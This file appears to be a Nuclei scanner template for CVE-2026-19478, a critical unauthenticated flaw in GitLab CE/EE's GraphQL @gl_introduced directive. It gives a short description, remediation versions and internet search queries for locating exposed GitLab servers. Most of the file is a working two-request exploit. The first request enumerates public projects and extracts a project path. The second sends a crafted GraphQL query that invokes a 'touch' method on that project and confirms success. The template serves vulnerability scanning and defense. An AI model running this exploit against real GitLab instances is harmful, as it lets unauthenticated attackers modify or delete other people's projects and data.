GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
PoC
id: CVE-2026-19478
info:
name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
author: 0x_Akoko,DhiyaneshDk
severity: critical
description: |
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
impact: |
An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation
through a crafted GraphQL query.
remediation: |
Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-19478
- https://github.com/davkharrr/CVE-2026-19478-PoC
- https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
- https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
cvss-score: 9.4
cve-id: CVE-2026-19478
epss-score: 0.05811
epss-percentile: 0.92751
cwe-id: CWE-94
metadata:
max-request: 2
verified: true
vendor: gitlab
product: gitlab
shodan-query: http.title:"GitLab"
fofa-query: title="gitlab"
google-query: intitle:"gitlab"
tags: cve,cve2026,gitlab,graphql,code-injection,unauth,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/api/v4/projects?visibility=public&per_page=1"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'path_with_namespace')"
condition: and
internal: true
extractors:
- type: regex
name: project_path
group: 1
regex:
- '"path_with_namespace"\s*:\s*"([^"]+)"'
internal: true
- raw:
- |
POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "doesn't exist on type"
negative: true
- type: regex
part: body
regex:
- '"touch"\s*:\s*true'
extractors:
- type: json
json:
- '.data.project.name'
# digest: 490a00463044022070f1d3baaddc020da35aca6caf230234540734f4eba587767602a4f7ca849c5a022011a3fbfb61718731744f9bfc19b015b2d8c73ea1f67fade6bf66e0029256db5e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.